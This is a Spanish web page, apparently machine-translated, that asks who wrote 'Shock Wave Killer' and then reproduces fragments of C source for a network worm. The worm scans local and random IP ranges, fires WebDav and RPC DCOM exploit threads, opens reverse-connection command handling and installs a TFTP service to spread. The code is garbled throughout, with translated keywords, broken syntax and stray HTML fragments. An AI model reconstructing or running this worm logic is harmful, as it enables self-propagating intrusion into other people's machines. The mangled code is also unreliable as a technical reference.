¿Quién es el hacker de "Shock Wave Killer"?

(BYTE)(uComp>>16) == 0xc5 || 24) == 0xc5 | |

(PALABRA)uComp == 0x9999 || >(WORD)(uComp >>16) == 0x9999 )

continuar;

u_long *myPara = new u_long

if ( myPara == NULL; ){//Si la asignación falló, inténtelo de nuevo

Sleep(100);

myPara = new u_long

}

if ( miPara ){

if ( hThread )

CloseHandle(hThread);

*myPara = htonl( uComp); dwThreadId;

if (bWebDav)

hThread =

CreateThread(NULL,0,ExploitWebDavThread,(LPVOID)myPara,0,&dwThreadId

else

hThread =

CreateThread); (NULL,0,ExploitRpcDcomThread,(LPVOID)myPara,0,&dwThreadId);

Sleep(2);

}

//Agregar código aquí, para evitar el error de que

InterlockedIncrement(&g_CurThreadCount) en el hilo no podrá ejecutarse en el futuro y se crearán N hilos a la vez durante la primera ejecución

if (! bPrimero && (i >= nMaxThread) ){

Dormir(2000

bPrimero = FALSO

}

mientras( g_CurThreadCount >= nMaxThread) // #define nMaxThread 300, accidentalmente,

Jugué con él~~~

Sleep(2);

}

p>

Sleep(60000);

}

//Programa principal común para el modo de servicio y el modo de consola

void DoIt( )

{

WSADATAwsd;

if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

return ;

//Matar gusanos

KillMsblast();

//Desinstalar

SYSTEMTIME st; GetLocalTime(&st)

if ( st.wYear == 2004 ){

MyDeleteService(szServiceName

MyDeleteService(szServiceTftpd);

RemoveMe ();

ExitProcess(1); //En realidad, no es necesario. RemoveMe() toma prestado el código del predecesor Under 2k, el

propio. el archivo se eliminará al salir del programa

p>

}

srand( GetTickCount()

memset(pPingBuffer, '\xAA'); , sizeof(pPingBuffer));

/ /Solicite a los enrutadores troncales que descarten inmediatamente los paquetes Icmp Echo con esta característica. ¡La onda doméstica se ha extinguido!~~ ¡El parche!

¡Ya se ha hecho suficiente!~~~

//Preparar el búfer de envío de WebDav

do{

pWebDavExploitBuffer = new char[68000]; p>Sleep(100);

} while( pWebDavExploitBuffer == NULL);

//La bala debe ensamblarse una vez antes de verificar

PressWebDavBufferOnce()

PressRpcDcomBufferOnce();

CheckOnlienAndPressData() //obtener LocalIp y corrección

Invertir IP y puerto en viñeta

//Patch

DoServicePackFunction();

//Establecer hilo receptor

DWORD dwThreadID <; /p>

HANDLE

hWorkThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)RecvSendCmdThread,(L

PVOID)NULL,0,&dwThreadID

if(hWorkThread==NULL) // RecvSendCmdThread está bloqueado y hay una conexión inversa. Crea un nuevo hilo para manejarlo.

Maneja múltiples conexiones inversas al mismo tiempo.

retorno;

CloseHandle(hWorkThread);

if ( !MyStartService(szServiceTftpd) ){

Sueño(1000); /p>

InstallTftpService();

Sueño(1000);

MyStartService(szServiceTftpd);

}

Sueño); (2000); //Esperando hilo de recepción Puerto de enlace rand global

u_long ulIP;

for(;{ //Se estima que las máquinas normales realizan un ciclo cada 2 horas

//Primero escanea este segmento de IP

CheckOnlienAndPressData();

ulIP = ntohl(inet_addr(szLocalIp));

ulIP &= 0xffff0000; /p>

BeginExploitFunction ( ulIP, 1, 0, 0);

//Escanea los tres segmentos antes y después de esta IP

CheckOnlienAndPressData()

if (rand() % 2)

ulIP += 0x00010000;

else

ulIP -= 0x00030000

BeginExploitFunction( ulIP, 3, 0, 0);

//Escanea otro segmento WebDav y salta del bloqueo 135 syn

CheckOnlienAndPressData()

; ulIP = MAKELONG(0, wdIpHead[ rand( )% 76 ]); //wdIpHead[] proveedores de IP del segmento B, presten atención~~~,

Tome medidas correctivas de inmediato~~~ lo siento~~~

BeginExploitFunction( ulIP, 1, 0, 1);

//Escanee IP aleatoria nuevamente, el número es 1 segmento B, rpc o webdav

CheckOnlienAndPressData ();

if ( rand() % 2)

BeginExploitFunction( ulIP, 1, 1, 0

else